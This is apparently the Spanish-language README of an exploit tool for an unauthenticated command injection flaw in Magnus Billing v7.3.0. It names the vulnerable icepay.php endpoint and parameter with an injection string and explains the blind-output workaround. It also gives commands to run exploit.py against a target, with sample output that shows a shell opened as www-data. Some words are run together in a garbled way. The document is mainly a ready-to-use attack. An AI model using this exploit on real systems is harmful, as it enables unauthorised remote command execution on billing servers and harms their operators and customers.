
Vulnerabilidad de inyección de comandos no autenticada en Magnus Billing v7.3.0.
Vulnerabilidad de inyección de comandos no autenticados en Magnus Billing v7.3.0. El parámetro GET
democenicepay.phpse pasa directamente a una función de shell sin sanitización, permitiendo la ejecución arbitraria de comandos como el usuario del servidor web. La inyección es ciega — la salida no se refleja en la respuesta HTTP — por lo que este exploit redirige la salida de cada comando a un archivo en la raíz web y lo recupera a través de HTTP.
/mbilling/lib/icepay/icepay.php?democ=;<command>;.out.txt).Si el objetivo utiliza una ruta de raíz web diferente, ajusta
OUTPUT_FILEal inicio del script.
python3 -m venv venv
source venv/bin/activate
python3 -m pip install requests prompt_toolkit
python3 exploit.py -t http://TARGET
Ejemplo:
$ python3 exploit.py -t http://10.10.10.10
[*] Testing command execution...
[+] Target is vulnerable! Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)
[+] Shell opened. Type 'exit' or Ctrl+C to quit.
Shell> whoami
www-data